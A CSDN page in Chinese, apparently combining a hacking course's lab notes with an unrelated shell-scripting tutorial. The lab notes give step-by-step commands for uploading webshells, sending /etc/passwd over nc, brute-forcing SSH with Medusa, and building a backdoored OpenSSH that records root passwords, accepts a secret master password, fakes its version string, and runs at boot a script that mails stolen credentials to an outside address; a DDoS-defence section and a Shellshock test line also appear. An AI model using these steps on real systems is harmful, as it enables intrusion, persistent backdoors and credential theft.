phpddos攻击软件+shell资源扫描器+上万条shell地址_phpddos源码 - CSDN
精华内容
参与话题
  • 1、 攻击思路 想要拿下一台主机A的权限: 1)了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞。 2)拿到对A有一定权限的身份。如果对方是一个WEB服务器,想办法上传webshell然后提权(利用对方的应用...

    一、 webshell使用方法
    1、 攻击思路
    想要拿下一台主机A的权限:
    1)了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞。
    2)拿到对A有一定权限的身份。如果对方是一个WEB服务器,想办法上传webshell然后提权(利用对方的应用程序的漏洞)
    3)传上去后,得到apache身份,提权

    2、 webshell的使用方法
    上传木马程序:
    方法1:nginx解析漏洞。 把aa.php 改成 aa.jpg ,通过网站中的上传图片功能上传到服务器。可以直接执行php程序。
    详情:CVE-2013-4547 Nginx解析漏洞深入利用及分析 :http://drops.wooyun.org/tips/2006

    方法2:把webshell通过base64编码加密后,注入数据库。使用时,解密后,再执行。

    3、 搭建LNMP环境
    注意:由于在编译安装LNMP环境的课程中使用的是php-7版本,webshell在php-7版本中无法运行,因此需要在原有的LNMP环境中把php-7版本,更换为php-5版本,以下为在LNMP环境中的php-7版本换为php-5版本操作过程,如LNMP环境的php已经为5版本的不需要操作。

    上传php-5.5.38.tar程序包到Linux:
    [root@xuegod110 ~]# lsof -i :9000
    COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
    php-fpm 58413 root 7u IPv4 231813 0t0 TCP localhost:cslistener (LISTEN)
    php-fpm 58414 nginx 0u IPv4 231813 0t0 TCP localhost:cslistener (LISTEN)
    php-fpm 58415 nginx 0u IPv4 231813 0t0 TCP localhost:cslistener (LISTEN)

    [root@xuegod110 ~]# /etc/init.d/php-fpm stop
    [root@xuegod110 ~]# lsof -i :9000
    [root@xuegod110 ~]# rm -rf /usr/local/php
    [root@xuegod110 ~]# rm -rf /etc/init.d/php-fpm
    开始安装php:
    [root@xuegod110 ~]# cd /usr/src/php-5.5.38/
    [root@xuegod110 php-5.5.38]# ./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/ --enable-fpm --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir=/usr --enable-xml --disable-rpath --enable-bcmath --enable-shmop --enable-sysvsem --enable-inline-optimization --with-curl --enable-mbregex --enable-mbstring --with-mcrypt --enable-ftp --with-gd --enable-gd-native-ttf --with-openssl --with-mhash --enable-pcntl --enable-sockets --with-xmlrpc --enable-zip --enable-soap --without-pear --with-gettext --disable-fileinfo --enable-maintainer-zts
    [root@xuegod110 php-5.5.38]# make -j 4 && make install
    [root@xuegod110 php-5.5.38]# cp /usr/src/php-5.5.38/php.ini-production /usr/local/php/php.ini
    [root@xuegod110 php-5.5.38]# cp /usr/local/php/etc/php-fpm.conf.default /usr/local/php/etc/php-fpm.conf
    [root@xuegod110 php-5.5.38]# vim /usr/local/php/etc/php-fpm.conf
    改:149 user = nobody
    为:149 user = nginx

    改:150 group = nobody
    为:150 group = nginx

    [root@xuegod110 php-5.5.38]# cp /usr/src/php-5.5.38/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm
    [root@xuegod110 php-5.5.38]# chmod +x /etc/init.d/php-fpm
    [root@xuegod110 php-5.5.38]# chkconfig php-fpm on
    [root@xuegod110 php-5.5.38]# /etc/init.d/php-fpm start

    上传webshell2.php到服务器上:
    [root@xuegod110 ~]# cp webshell2.php /usr/local/nginx/html/

    访问测试:
    http://192.168.1.110/webshell2.php ##密码:xuegod
    在这里插入图片描述
    登录以后能够看到web service的网站根目录的文件,也可以指定某个目录,但是需要该目录具体读的权限
    在这里插入图片描述
    同样也可以下载看到的文件
    在这里插入图片描述
    在这里插入图片描述

    打开MySQL管理器,可以登录到数据库,选项数据库,可以看到数据库中的数据
    在这里插入图片描述
    下载数据库中的表
    在这里插入图片描述
    执行数据库语句
    同样可以执行简单的命令
    在这里插入图片描述
    查看是否生成
    在这里插入图片描述

    PHP变量相关,默认可以查看到PHP一些变量,类似于phpinfo,也可以在文本框中输入PHP变量
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    扩展nc命令:
    使用nc创建一个黑客监听服务器端口,随时客户端上传的数据
    [root@xuegod110 ~]# nc -l 9999 < /etc/passwd
    [root@xuegod110 ~]# netstat -antup | grep 9999
    tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN 55067/nc
    登录xuegod120接收数据:
    [root@xuegod120 ~]# nc 192.168.1.110 9999 > a.txt
    [root@xuegod120 ~]# vim a.txt
    注: 木马程序: server在被黑的机器上。 客户端在黑客的本地。

    二、 使用DDos deflate解决服务器被DDos攻击的问题
    1、 如何查看是否收到的攻击
    DDOS概述:分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。

    1) 编写一个脚本查看
    [root@xuegod110 ~]# vim ddos-test.sh #写入以下内容
    #!/bin/bash
    netstat -ntu | awk ‘{print $5}’ | cut -d: -f4 | sort | uniq -c | sort -n
    [root@xuegod110 ~]# chmod +x ddos-test.sh
    注释:
    #!/bin/bash
    netstat -ntu | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -n
    截取外网IP和端口 截取外网的IP以:为分隔符 |排序 | 排除相同的记录 | 排序并统计
    注:这个脚本在不同的机器上执行时,因为 print $5 取得的结果不一样,所以需要根据实际情况,改变cut -d: -f1 中fn的值。 如果-f1 不行,就使用f4
    cut -d: -f1 #以冒号为分隔符,取第一列的值。
    2、 模拟DDOS攻击
    [root@xuegod110 ~]# ab -n 100 -c 10 http://192.168.1.110/index.html #开始攻击
    [root@xuegod110 ~]# ./ddos-test.sh #查看已经建立的网络连接数
    1 42.99.254.162
    1 Address
    1 servers)
    2 192.168.1.106
    2 192.168.1.23
    102 192.168.1.110

    3、 使用ddos deflate解决服务器被DDos攻击的问题
    1) 防止DDos攻击的方法
    方法一: 手动写iptables 规则,ip地址数比较少时
    方法二: 检测到访问次数比较多的ip地址后,自动添加iptables规则。如fail2ban或linux+DDoS deflate
    方法三:加大带宽,增加服务器,使用CDN技术

    2) DDos deflate介绍
    DDoS deflate是一款免费的用来防御和减轻DDoS攻击的脚本。它通过netstat监测跟踪创建大量网络连接的IP地址,在检测到某个结点超过预设的限制时,该程序会通过APF或IPTABLES禁止或阻挡这些IP。

    3) 检测是否有DDos攻击
    [root@xuegod110 ~]# netstat -ntu | awk ‘{print $5}’ | cut -d: -f4 | sort | uniq -c | sort -n
    如果发现某个IP连接数据上百的链接,说明就有DDOS攻击。

    4、 安装DDos deflate
    [root@xuegod110 ~]# wget http://www.inetbase.com/scripts/ddos/install.sh
    下载DDoS deflate,保证可以上网
    [root@xuegod110 ~]# chmod 700 install.sh #添加权限
    [root@xuegod110 ~]#./install.sh #执行
    Installing DOS-Deflate 0.6
    Downloading source files…done
    Creating cron to run script every minute…(Default setting)…done
    Installation has completed.
    Config file is at /usr/local/ddos/ddos.conf
    Please send in your comments and/or suggestions to zaf@vsnl.com
    ###################################################
    ###############################################
    #“Artistic License” ## #
    #Preamble ## ## The intent of this document is to state the conditions under which a ## Package may be copied, such that the Copyright Holder maintains some #
    q 输入q 退出。

    5、 查看安装后的配置文件
    DDoS deflate的默认配置位于/usr/local/ddos/ddos.conf ,内容如下:
    [root@xuegod110 ~]# vim /usr/local/ddos/ddos.conf
    #####Paths of the script and other files
    PROGDIR="/usr/local/ddos"
    PROG="/usr/local/ddos/ddos.sh" #要执行的DDOS脚本
    IGNORE_IP_LIST="/usr/local/ddos/ignore.ip.list" #IP地址白名单,注:在这个文件中IP不受控制。
    CRON="/etc/cron.d/ddos.cron" #定时执行程序

    6、 查看定时任务
    [root@xuegod110 ~]# cat /etc/cron.d/ddos.cron
    SHELL=/bin/sh
    0-59/1 * * * * root /usr/local/ddos/ddos.sh >/dev/null 2>&1

    7、 使用DDos deflate
    如果1分钟内,一个IP地址对我们服务器访问150次以上,就认为发生DDOS,使用iptables把这个IP地址自动屏蔽掉。
    1) 修改配置文件
    [root@xuegod110 ~]# vim /usr/local/ddos/ddos.conf
    配置文件中的注释如下:
    ####frequency in minutes for running the script
    #####Caution: Every time this setting is changed, run the script with --cron
    #####option so that the new frequency takes effect
    FREQ=1 #检查时间间隔,默认1分钟

    #####How many connections define a bad IP? Indicate that below.
    NO_OF_CONNECTIONS=150 #最大连接数,超过这个数IP就会被屏蔽,一般默认即可

    #####APF_BAN=1 (Make sure your APF version is atleast 0.96)
    #####APF_BAN=0 (Uses iptables for banning ips instead of APF)
    APF_BAN=1 #使用APF还是iptables。推荐使用iptables,将APF_BAN的值改为0即可。
    改:19 APF_BAN=1
    为:19 APF_BAN=0
    #####KILL=0 (Bad IPs are’nt banned, good for interactive execution of script)
    #####KILL=1 (Recommended setting)
    KILL=1 #是否屏蔽IP,默认即可

    #####An email is sent to the following address when an IP is banned.
    #####Blank would suppress sending of mails
    EMAIL_TO=kill@xuegod.com #当IP被屏蔽时给指定邮箱发送邮件报警,换成自己的邮箱即可

    #####Number of seconds the banned ip should remain in blacklist.
    BAN_PERIOD=600 #禁用IP时间,默认600秒,可根据情况调整
    用户可根据给默认配置文件加上的注释提示内容,修改配置文件。
    注:安装后,不需要手动运行任何软件,因为有crontab计划任务,每过一分钟,会行自动执行一次。检查是否有不正常的访问量

    2) 在另外一个服务器上模式DDos攻击(针对110)
    [root@xuegod120 ~]# ab -n 1000 -c 10 http://192.168.1.110/index.html
    等待一分钟后,在xudgod110查看结果,多了一条规则
    [root@xuegod110 ~]# iptables -L -n #可以看到已经把192.168.1.120给拒绝了。
    Chain INPUT (policy ACCEPT)
    target prot opt source destination
    DROP all – 192.168.1.120 0.0.0.0/0

    8、 卸载软件
    卸载软件的本质: 删除软件安装后的文件
    安装软件的本质:把你写的软件文件,复制对应的目录下
    [root@xuegod110 ~]# wget http://www.inetbase.com/scripts/ddos/uninstall.ddos
    [root@xuegod110 ~]# chmod +x uninstall.ddos
    [root@xuegod110 ~]# ./uninstall.ddos

    三、 使用meidusa暴力破解SSH密码
    1、Medusa简介
    Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的暴力破解工具。可以同时对多个主机,用户或密码执行强力测试。Medusa和hydra一样,同样属于在线密码破解工具。Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具。
    官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。
    软件下载地址:https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz

    2、安装medusa ,手动编译和安装medusa
    [root@xuegod110 ~]# yum install libssh2-devel libssh2-devel -y
    [root@xuegod110 ~]# tar zxvf 2.2.tar.gz
    [root@xuegod110 ~]# cd medusa-2.2/
    [root@xuegod110 medusa-2.2]# ./configure --enable-debug=yes --enable-module-afp=yes --enable-module-cvs=yes --enable-module-ftp=yes --enable-module-http=yes --enable-module-imap=yes --enable-module-mssql=yes --enable-module-mysql=yes --enable-module-ncp=yes --enable-module-nntp=yes --enable-module-pcanywhere=yes --enable-module-pop3=yes --enable-module-postgres=yes --enable-module-rexec=yes --enable-module-rlogin=yes --enable-module-rsh=yes --enable-module-smbnt=yes --enable-module-smtp=yes --enable-module-smtp-vrfy=yes --enable-module-snmp=yes --enable-module-ssh=yes --enable-module-svn=yes --enable-module-telnet=yes --enable-module-vmauthd=yes --enable-module-vnc=yes --enable-module-wrapper=yes --enable-module-web-form=yes
    #这个参数中加入很多模块,这样方便后期使用。–enable-module-ssh=yes这个就是稍后要使用的暴力破解sshd服务的模块。
    [root@xuegod110 medusa-2.2]# make -j 4
    [root@xuegod110 medusa-2.2]# make install #安装完成后,会将medusa的一些modules 文件复制到/usr/local/lib/medusa/modules文件夹。
    [root@xuegod110 ~]# ls /usr/local/lib/medusa/modules #查看已经生成的模块

    3、Medusa参数说明
    Medusa [-hhost|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module[OPT]
    -h [TEXT] 目标主机名称或者IP地址
    -H [FILE] 包含目标主机名称或者IP地址文件
    -u [TEXT] 测试的用户名
    -U [FILE] 包含测试的用户名文件
    -p [TEXT] 测试的密码
    -P [FILE] 包含测试的密码文件
    -C [FILE] 组合条目文件
    -O [FILE] 日志信息文件
    -e [n/s/ns] n代表空密码,s代表为密码与用户名相同
    -M [TEXT] 模块执行名称
    -m [TEXT] 传递参数到模块
    -d 显示所有的模块名称
    -n [NUM] 使用非默认Tcp端口
    -s 启用SSL
    -r [NUM] 重试间隔时间,默认为3秒
    -t [NUM] 设定线程数量
    -T 同时测试的主机总数
    -L 并行化,每个用户使用一个线程
    -f 在任何主机上找到第一个账号/密码后,停止破解
    -F 在任何主机上找到第一个有效的用户名/密码后停止审计。
    -q 显示模块的使用信息
    -v [NUM] 详细级别(0-6)
    -w [NUM] 错误调试级别(0-10)
    -V 显示版本
    -Z [TEXT] 继续扫描上一次

    4、破解单一服务器SSH密码
    例1:通过文件来指定host和user,host.txt为目标主机名称或者IP地址,user.txt指定需要暴力破解的用户名,密码指定为123456。
    [root@xuegod110 medusa-2.2]# cd
    [root@xuegod110 ~]# echo 192.168.1.110 > /root/host.txt
    [root@xuegod110 ~]# echo root > /root/users.txt
    [root@xuegod110 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -p 123456

    注:可以看到暴解成功。

    例2:对单一服务器进行密码字典暴力破解
    [root@xuegod110 ~]# vim /root/p.txt #写入以下内容,每行一个密码,做一个临时字典 。
    123
    abc123
    123456
    666666
    注:其中123456 是我们的密码
    [root@xuegod110 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt
    如图所示,破解成功后会显示success字样

    例3:加-O ssh.log 可以将成功破解的记录记录到ssh.log文件中
    [root@xuegod110 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O ./ssh.log
    [root@xuegod110 ~]# cat ssh.log
    #Medusa v.2.2 (2018-10-19 22:03:27)
    #medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O ssh.log
    ACCOUNT FOUND: [ssh] Host: 192.168.1.110 User: root Password: 123456 [SUCCESS]
    #Medusa has finished (2018-10-19 22:03:30).

    四、 自动劫持root密码病转发到邮箱
    实验环境:RHEL 6,在Centos7下无法实现
    为什么要自动劫持root密码并转发密码到我的QQ邮箱 ?因为当你做黑客时,你的肉鸡密码被修改后,我们希望可以收到管理员修改的密码。

    思路:在xuegod110上安装一个打了后门补丁的sshd服务,当用户来连接时,直接把密码记录下来。然后使用脚本发给我们的邮箱中
    1、查看ssh版本
    [root@xuegod150 tmp]# ssh -V #查看安装前ssh版本
    OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

    2、确认gcc是否已安装
    [root@xuegod150 tmp]# gcc -v #确认安装gcc
    。。。
    gcc version 4.4.6 20150731 (Red Hat 4.4.6-3) (GCC)

    3、安装gcc
    [root@xuegod150 tmp]# yum install gcc #如果没安装gcc,就安装一下

    4、上传0x06-openssh-5.9p1.patch.tar.gz , openssh-5.9p1.tar.gz ,inotify-tools-3.13.tar.gz 到linux 的/tmp目录

    5、进入文件目录
    [root@xuegod150 tmp]# cd /tmp
    解压文件
    [root@xuegod150 tmp]# tar zxvf openssh-5.9p1.tar.gz
    [root@xuegod150 tmp]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz
    19.4.2 对openssh-5.9p1打后门漏洞补丁
    6、开始打补丁
    [root@xuegod150 tmp]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
    [root@xuegod150 tmp]# cd openssh-5.9p1
    [root@xuegod150 openssh-5.9p1]# patch < sshbd5.9p1.diff #打补就修改或者替换原来的文件
    patching file auth.c #认证
    patching file auth-pam.c #认证
    patching file auth-passwd.c #认证
    patching file canohost.c
    patching file includes.h
    patching file log.c
    patching file servconf.c #关于sshd服务端
    patching file sshconnect2.c #关于sshd连接
    patching file sshlogin.c #关于登录,把root密码记录下来
    patching file version.h #关于版本

    7、修改后门密码和记录root密码的文件夹目录
    [root@xuegod150 openssh-5.9p1]# vim /tmp/openssh-5.9p1/includes.h
    找到:
    改:
    177 #define ILOG “/tmp/ilog” #记录登录到本机的用户名和密码
    178 #define OLOG “/tmp/olog” #记录从本机登录到其他服务器上的用户名和密码
    179 #define SECRETPW “apaajaboleh” #你后门密码

    为:
    177 #define ILOG “/usr/share/ifile”
    178 #define OLOG “/usr/share/ofile”
    179 #define SECRETPW “xuegod”

    安装后的sshd服务的版本号为:
    [root@xuegod150 ~]# ssh -v
    OpenSSH_5.8p1 Debian-1ubuntu3p1, OpenSSL 1.0.0-fips 29 Mar 2010

    原来系统的版本:
    [root@xuegod150 ~]# ssh -v
    OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

    8、为了使用安后的版本和原系统的版本一样,修改版本号:
    [root@xuegod150 openssh-5.9p1]# vim /tmp/openssh-5.9p1/version.h
    改:
    3 #define SSH_VERSION “OpenSSH_5.8p1 Debian-1ubuntu3”
    4
    5 #define SSH_PORTABLE “p1”
    为:
    3 #define SSH_VERSION " OpenSSH_5.3"
    4
    5 #define SSH_PORTABLE “p1”

    9、安装打了后门补丁的sshd服务
    [root@xuegod150 tmp]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel
    开始安装:
    [root@xuegod150 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
    参数说明:
    –prefix=/usr #指定安装到/usr 目录下
    –sysconfdir=/etc/ssh #指定sshd服务配置文件目录
    –with-pam #支持pam认证
    –with-kerberos5 #支持kerberos认证

    [root@xuegod150 openssh-5.9p1]# make -j 4 && make install
    。。。
    /usr/bin/install -c -m 0755 -s ssh /usr/bin/ssh
    /usr/bin/install -c -m 0755 -s scp /usr/bin/scp
    /usr/bin/install -c -m 0755 -s ssh-add /usr/bin/ssh-add
    /usr/bin/install -c -m 0755 -s ssh-agent /usr/bin/ssh-agent
    /usr/bin/install -c -m 0755 -s ssh-keygen /usr/bin/ssh-keygen
    /usr/bin/install -c -m 0755 -s ssh-keyscan /usr/bin/ssh-keyscan
    /usr/bin/install -c -m 0755 -s sshd /usr/sbin/sshd
    /usr/bin/install -c -m 4711 -s ssh-keysign /usr/libexec/ssh-keysign
    /usr/bin/install -c -m 0755 -s ssh-pkcs11-helper /usr/libexec/ssh-pkcs11-helper
    /usr/bin/install -c -m 0755 -s sftp /usr/bin/sftp

    扩展: 通过rpm -Vf 检查命令是否被替换
    [root@xuegod150 openssh-5.9p1]# rpm -Vf /usr/bin/scp
    S.5…T. /usr/bin/scp
    S.5…T. /usr/bin/sftp
    S.5…T. /usr/bin/ssh
    S.5…T. /usr/bin/ssh-add
    SM5…GT. /usr/bin/ssh-agent
    S.5…T. /usr/bin/ssh-keyscan
    可以看到很多ssh协议相关的命令,都被我们安装的sshd服务相关的命令替换了。这是黑客经常做的事情。

    10、重启sshd服务:
    [root@xuegod150 openssh-5.9p1]# service sshd restart

    11、测试劫持密码
    测试前,发现/usr/share/ifile文件没有存在
    [root@xuegod150 ~]# ls /usr/share/ifile
    ls: cannot access /usr/share/ifile: No such file or directory

    12、使用xshell登录xuegod150,模拟远程登录
    在这里插入图片描述

    13、查看劫持到root密码
    [root@xuegod150 ~]# cat /usr/share/ifile
    user:password --> root:123456

    14、另外我们也可以使用后门密码来登录root帐号
    [root@xuegod150 openssh-5.9p1]# ssh root@192.168.1.150 输入密码:xuegod
    查看:
    [root@xuegod150 ~]# cat /usr/share/ofile
    user:password@host --> root:xuegod@192.168.1.150

    15、自动发送邮件
    这里以163的smtp服务器为例,实现自动发送邮件有以下两种方法:
    方法1:通过sendmail或postfix给自己发邮件。 缺点: 需要开服务
    方法2:LINUX下通过外部SMTP服务器发邮件,就像在Linux安装一个foxmail。
    1)使用mail.rc实现发邮件
    [root@xuegod150 ~]# vim /etc/mail.rc #在此文件中间,随机找个位置插入以下内容:
    set from=helloworld14@163.com
    set smtp=smtp.163.com
    set smtp-auth-user=helloworld14
    set smtp-auth-password=PASSWORD
    set smtp-auth=login
    注:
    set from=helloworld14@163.com #指定发件人的邮箱,这里我们就写成和收件人的邮箱一样。
    set smtp-auth-user=helloworld14 #写自己发件人的邮箱帐号
    set smtp-auth-password=PASSWORD #163邮箱的授权密码
    2)配置163邮箱,开启pop3/smtp服务
    登录mail.163.com网站
    点:设置->POP3/SMTP/IMAP->开启pop3服务(勾选开启pop3服务后,smtp也会自动开启)
    3) 测试邮件发送
    [root@xuegod150 ~]# mail -s “demotitle” 506468017@qq.com < /usr/share/ofile
    在这里插入图片描述

    4) 编写shell脚本自动发邮件
    [root@xuegod150 ~]# vim /bin/zipmail
    #!/bin/bash
    ip=ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'
    mail -s $ip helloworld14@163.com < /usr/share/ifile
    [root@xuegod150 ~]# chmod +x /bin/zipmail

    5) 测试发送
    [root@xuegod150 ~]# zipmail
    在这里插入图片描述

    16、用户修改密码后自动发送邮件
    1)安装inotify
    [root@xuegod150 ~]# cd /tmp/
    [root@xuegod150 tmp]# tar -zxvf inotify-tools-3.13.tar.gz
    [root@xuegod150 tmp]# cd inotify-tools-3.13
    [root@xuegod150 inotify-tools-3.13]# ./configure #检查安装环境
    [root@xuegod150 inotify-tools-3.13]# make -j 4 #make编译,将源代码编译成二进制,可执行的文件 # -j 4 使用4个CPU一起编译。
    [root@xuegod150 inotify-tools-3.13]# make install #安装。

    2) 编写触发式自动发送脚本
    [root@xuegod150 ~]# vim /bin/zipmail
    #!/bin/bash
    /usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile |while read a b c
    do
    ip=ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'
    mail -s $ip helloworld14@163.com < /usr/share/ifile
    done

    3) 设置开机启动zipmail脚本
    [root@xuegod150 ~]# vim /etc/rc.local #在此文件的最后插入以下内容。
    /bin/zipmail &

    4) 测试运行脚本
    [root@xuegod150 ~]# bash /etc/rc.local #可以运行.

    5) 排查
    方法1:查看进程
    [root@xuegod150 ~]# ps -aux | grep inoti
    Warning: bad syntax, perhaps a bogus ‘-’? See /usr/share/doc/procps-3.2.8/FAQ
    root 20062 0.0 0.0 6232 552 pts/0 S 19:17 0:00 /usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ofile
    root 20067 0.0 0.0 103248 880 pts/0 S+ 19:18 0:00 grep inoti

    方法2:查看命令是否被替换
    [root@xuegod150 ~]# rpm -Vf /usr/bin/ssh
    S.5…T. /usr/bin/scp
    S.5…T. /usr/bin/sftp
    S.5…T. /usr/bin/ssh
    S.5…T. /usr/bin/ssh-add
    SM5…GT. /usr/bin/ssh-agent
    S.5…T. /usr/bin/ssh-keysc:an

    6) 远程登录xuegod150,测试
    [root@xuegod150 ~]# ssh zx@192.168.1.150
    zx@192.168.1.150’s password:
    Last login: Sun Aug 25 19:28:22 2019 from 192.168.1.150
    [root@xuegod150 ~]# cat /usr/share/ofile
    user:password@host --> root:123456@192.168.1.150
    user:password@host --> zx:123456@192.168.1.150
    在这里插入图片描述

    下载附件打开

    在这里插入图片描述

    展开全文
  • Shell脚本详解---一篇搞定

    千次阅读 多人点赞 2018-10-04 18:06:54
    Shell脚本语言是实现Linux/UNIX系统管理及自动化运维所必备的重要工具, Linux/UNIX系统的底层及基础应用软件的核心大都涉及Shell脚本的内容。每一个合格 的Linux系统管理员或运维工程师,都需要能够熟练地编写Shell...

    有道云分享链接

    1.1 前言

    1.1.1 为什么学Shell

    Shell脚本语言是实现Linux/UNIX系统管理及自动化运维所必备的重要工具, Linux/UNIX系统的底层及基础应用软件的核心大都涉及Shell脚本的内容。每一个合格 的Linux系统管理员或运维工程师,都需要能够熟练地编写Shell脚本语言,并能够阅 读系统及各类软件附带的Shell脚本内容。只有这样才能提升运维人员的工作效率,适 应曰益复杂的工作环境,减少不必要的重复工作,从而为个人的职场发展奠定较好的基础

    1.1.2 什么是shell

    Shell是一个命令解释器,它在操作系统的最外层,负责直接与用户对话,把用户的输入解释给操作系统,并处理各种各样的操作系统的输出结果,输出屏幕返回给用户。

    这种对话方式可以是:

    交互的方式:从键盘输入命令,通过/bin/bash的解析,可以立即得到Shell的回应

    [root@clsn ~]# ls           
    anaconda-ks.cfg 
    [root@clsn ~]# echo ls |bash
    anaconda-ks.cfg  

    非交互的方式: 脚本

    1.1.3 什么是Shell脚本

      命令、变量和流程控制语句等有机的结合起来

             shell脚本擅长处理纯文本类型的数据,而linux中,几乎所有的配置文件,日志,都是纯文本类型文件

    1.1.4 脚本语言的种类

    一、编译型语言

    定义:指用专用的编译器,针对特定的操作平台(操作系统)将某种高级语言源代码一次性翻译成可被硬件平台直接运行的二进制机器码(具有操作数,指令、及相应的格式),这个过程叫做编译(./configure  make makeinstall );编译好的可执行性文件(.exe),可在相对应的平台上运行(移植性差,但运行效率高)。。

    典型的编译型语言有, C语言、C++等。

    另外,Java语言是一门很特殊的语言,Java程序需要进行编译步骤,但并不会生成特定平台的二进制机器码,它编译后生成的是一种与平台无关的字节码文件(*.class)(移植性好的原因),这种字节码自然不能被平台直接执行,运行时需要由解释器解释成相应平台的二进制机器码文件;大多数人认为Java是一种编译型语言,但我们说Java即是编译型语言,也是解释型语言也并没有错。

    二、解释型语言

    定义:指用专门解释器对源程序逐行解释成特定平台的机器码并立即执行的语言;相当于把编译型语言的编译链接过程混到一起同时完成的。

    解释型语言执行效率较低,且不能脱离解释器运行,但它的跨平台型比较容易,只需提供特定解释器即可。

    常见的解释型语言有, Python(同时是脚本语言)与Ruby等。

    三、脚本语言

    定义:为了缩短传统的编写-编译-链接-运行(edit-compile-link-run)过程而创建的计算机编程语言。

    特点:程序代码即是最终的执行文件,只是这个过程需要解释器的参与,所以说脚本语言与解释型语言有很大的联系。脚本语言通常是被解释执行的,而且程序是文本文件。

    典型的脚本语言有,JavaScript,Python,shell等。

    其他常用的脚本语句种类

    PHP是网页程序,也是脚本语言。是一款更专注于web页面开发(前端展示)的脚本语言,例如:Dedecms,discuz。PHP程序也可以处理系统日志,配置文件等,php也可以调用系统命令。

    Perl脚本语言。比shell脚本强大很多,语法灵活、复杂,实现方式很多,不易读,团队协作困难,但仍不失为很好的脚本语言,存世大量的程序软件。MHA高可用Perl写的

    Python,不但可以做脚本程序开发,也可以实现web程序以及软件的开发。近两年越来越多的公司都会要求会Python。

    Shell脚本与php/perl/python语言的区别和优势?

    shell脚本的优势在于处理操作系统底层的业务 (linux系统内部的应用都是shell脚本完成)因为有大量的linux系统命令为它做支撑。2000多个命令都是shell脚本编程的有力支撑,特别是grep、awk、sed等。例如:一键软件安装、优化、监控报警脚本,常规的业务应用,shell开发更简单快速,符合运维的简单、易用、高效原则.

      PHP、Python优势在于开发运维工具以及web界面的管理工具,web业务的开发等。处理一键软件安装、优化,报警脚本。常规业务的应用等php/python也是能够做到的。但是开发效率和复杂比用shell就差很多了。

    系统环境说明

    [root@clsn scripts]# cat /etc/redhat-release
    CentOS Linux release 7.4.1708 (Core)
    [root@clsn scripts]# uname -r
    3.10.0-693.el7.x86_64
    [root@clsn scripts]# getenforce
    Disabled
    [root@clsn scripts]# systemctl status firewalld.service
    ● firewalld.service - firewalld - dynamic firewall daemon
       Loaded: loaded (/usr/lib/systemd/system/firewalld.service; disabled; vendor preset: enabled)
       Active: inactive (dead)
         Docs: man:firewalld(1)

    1.1.5 系统中的shell

    查看系统中的命解释器

    [root@clsn ~]# cat /etc/shells
    /bin/sh
    /bin/bash
    /sbin/nologin
    /usr/bin/sh
    /usr/bin/bash
    /usr/sbin/nologin

    常用操作系统的默认shell

    1.Linux是Bourne Again shell(bash)

    2.Solaris和FreeBSD缺省的是Bourne shell(sh)

    3.AIX下是Korn Shell(ksh)

    4.HP-UX缺省的是POSIX shell(sh)

    [root@clsn ~]# echo $SHELL
    /bin/bash

    bash版本

    [root@clsn scripts]# bash -version

    GNU bash, 版本 4.2.46(2)-release (x86_64-redhat-linux-gnu) Copyright (C) 2011 Free Software Foundation, Inc. 许可证 GPLv3+: GNU GPL 许可证版本3或者更高 <http://gnu.org/licenses/gpl.html>

    这是自由软件,您可以自由地更改和重新发布。 在法律允许的范围内没有担保. 

    bash 破壳漏洞

    使用 命令 env x='() { :;}; echo be careful' bash -c "echo this is a test"
    如果返回结果为一行,则为正常,
    [root@clsn ~]# env x='() { :;}; echo be careful' bash -c "echo this is a test"
    this is a test

    #解决办法 升级当前的bash版本
    yum install update bash

    sh与bash 的关系

    [root@clsn ~]#  ll /bin/sh
    lrwxrwxrwx. 1 root root 4 11月 13 11:15 /bin/sh -> bash

    /bin与 /user/bin 的关系

    [root@clsn ~]# ll /bin -d
    lrwxrwxrwx. 1 root root 7 11月 13 11:15 /bin -> usr/bin

    1.2 脚本书写规范

    1.2.1 脚本统一存放目录

    [root@clsn ~]# mkdir -p /server/scripts/
    [root@clsn ~]# cd /server/scripts/

    1.2.2 选择解释器

    注意格式 ↓

    其中开头的"#!"字符又称为幻数,在执行bash脚本的时候,内核会根据"#!"后的解释器来确定该用那个程序解释这个脚本中的内容。

    [root@clsn scripts]# head -1 /etc/init.d/*
    ==> /etc/init.d/functions <==
    # -*-Shell-script-*-

    ==> /etc/init.d/netconsole <==
    #!/bin/bash

    ==> /etc/init.d/network <==
    #! /bin/bash

